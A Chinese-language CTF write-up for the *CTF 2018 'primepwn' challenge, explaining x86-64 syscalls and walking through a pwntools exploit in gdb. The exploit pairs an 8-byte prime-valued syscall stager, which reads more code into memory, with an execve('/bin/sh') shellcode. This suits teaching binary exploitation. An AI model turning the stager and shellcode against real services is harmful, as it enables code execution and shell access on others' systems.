CTF中利用syscall写shellcode及*ctf primepwn writeup

前言

如何写shellcode是二进制选手的基本素养了,本题中通过syscall的一些trick用法来写shellcode,getshell。

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/sixstar/sixstar/primepwn
https://github.com/sixstars/starctf2018/tree/master/pwn-primepwn

前置知识

Linux系统调用

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.data

msg:
.ascii "Hello, world!\n"
len = . - msg

.text
.global _start

_start:
movq $1, %rax
movq $1, %rdi
movq $msg, %rsi
movq $len, %rdx
syscall

movq $60, %rax
xorq %rdi, %rdi
syscall

输出结果是

1
2
./test
Hello, world!

实际上这里是直接使用了write的syscall,它的系统调用号是1.
其他的syscall的系统调用号可以在系统调用表查看。
我们可以看到我们在示例程序里用到的,1是write,60是exit退出程序。

1
2
1	common	write			sys_write
60 common exit sys_exit

对于64位程序,通过syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。

syscall的trick

syscall在所有寄存器都为0的情况下,执行的时候会把rip赋值给rcx。

分析



首先输入一个unsigned long也就是8字节的数据,然后判定输入的数据(写到0x601038)是不是素数,如果不是素数,程序就结束掉,如果是素数,那么继续运行。


可以看到0x601030存放的是指向0x601038的指针。
之后程序会把寄存器都清零,然后跳到0x601030指向的空间执行,也就是跳到0x601038,执行我们写入的数据。

利用

为了方便读者自己调试分析,我就走一遍exp,然后描述一下利用过程。
exp如下,我加了一行gdb.attach用来调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256

context.log_level="debug"
pwn_file="./primepwn"


if len(sys.argv)==1:
conn=process(pwn_file)
pid=conn.pid
gdb.attach(conn) # 用作调试
else:
conn=remote("47.89.18.224",10008)
def brute_force(prefix,s):
return bruteforce(lambda x:sha256(x+prefix).hexdigest()==s,string.ascii_letters+string.digits,length=4)
data=conn.recvline(keepends=False)
prefix,s=parse("sha256(xxxx+{}) == {}",data)
conn.sendline(brute_force(prefix,s))
pid=0

def debug():
log.debug("process pid:%d"%pid)
pause()

def check(s):
for i in range(4,len(s),4):
last=u32(s[i-4:i])
now=u32(s[i:i+4])
if last > now:
return False
return True

code="""
start:
syscall
dec edx
mov esi,ecx
jmp start
"""
payload=asm(code,arch="amd64")
conn.sendline(str(u64(payload)))
log.debug("sleep 20s")
sleep(20)
code="""
mov rsp,rcx
add rsp,0x100
mov rax,0x3b
xor rsi,rsi
xor rdx,rdx
call get_shell
.ascii "/bin/sh"
.byte 0
get_shell:
pop rdi
syscall
"""
conn.send(asm(code,arch="amd64"))
conn.interactive()

然后我们开始调试,如果你使用pwndbg插件,看到的应该和我一样。

这样我们就断在了main函数执行之前,我们的目的是进入main函数单步看exp执行.


所以我们按5次finish(finsh的作用是执行到当前函数结束返回)
现在你应该看到下面这样:

然后单步n,一直单步到main函数最后的jmp。

由程序分析可知,首先我们要准备一个是素数的shellcode,且不能超过8个字节。
利用我们之前提到的syscall trick就可以做到,后面会分析为什么。

1
2
3
4
5
start:
syscall
dec edx
mov esi,ecx
jmp start
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400A57 loc_400A57:                             ; CODE XREF: main+56↑j
.text:0000000000400A57 xor rax, rax
.text:0000000000400A5A xor rbx, rbx
.text:0000000000400A5D xor rcx, rcx
.text:0000000000400A60 xor rdx, rdx
.text:0000000000400A63 xor rsi, rsi
.text:0000000000400A66 xor rdi, rdi
.text:0000000000400A69 xor rsp, rsp
.text:0000000000400A6C xor rbp, rbp
.text:0000000000400A6F xor r8, r8
.text:0000000000400A72 xor r9, r9
.text:0000000000400A75 xor r10, r10
.text:0000000000400A78 xor r11, r11
.text:0000000000400A7B xor r12, r12
.text:0000000000400A7E xor r13, r13
.text:0000000000400A81 xor r14, r14
.text:0000000000400A84 xor r15, r15
.text:0000000000400A87 jmp cs:qword_601030

由于在这里我们通过xor把寄存器都清空了,所以在执行syscall的时候,把rip的值赋给了rcx。
syscall执行前

syscall执行后

然后传递参数。

1
2
dec edx
mov esi,ecx

edx从0减去1就是-1,即0xFFFFFFFF。
esi=ecx=rip。
rdi和eax在之前就已经被清零了。

jmp跳到syscall执行,相当于调用sys_read(0,rip,0xFFFFFFFF)

sys_read执行结束后,0x60103a(即rip,也就是下一条要执行的命令)及其之后的指令被覆盖,如下图可以看到我们将继续执行真正的shellcode。


将真正的shellcode读入到rip中,这样,继续执行就执行到了我们的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
code="""
mov rsp,rcx
add rsp,0x100--->这句可以删掉
mov rax,0x3b
xor rsi,rsi
xor rdx,rdx
call get_shell
.ascii "/bin/sh"
.byte 0
get_shell:
pop rdi
syscall
"""

因为之前rsp被置0了,所以为了在栈上保存/bin/sh,用在后面pop rdi。
现在要让rsp指向一个可写的地址,于是把rcx赋值给它。
然后将execve的系统调用号赋值给rax。

1
0x3b		execve			sys_execve/ptregs

传递参数,执行execve(‘/bin/sh’,0,0)来getshell

注意在call的时候,会先把返回地址压栈,而返回地址就是下一条指令,也就是0x601056。

gdb里si跟入call的函数。

然后pop rdi就把参数传进去了,接着syscall就执行了execve(‘/bin/sh’,0,0)

getshell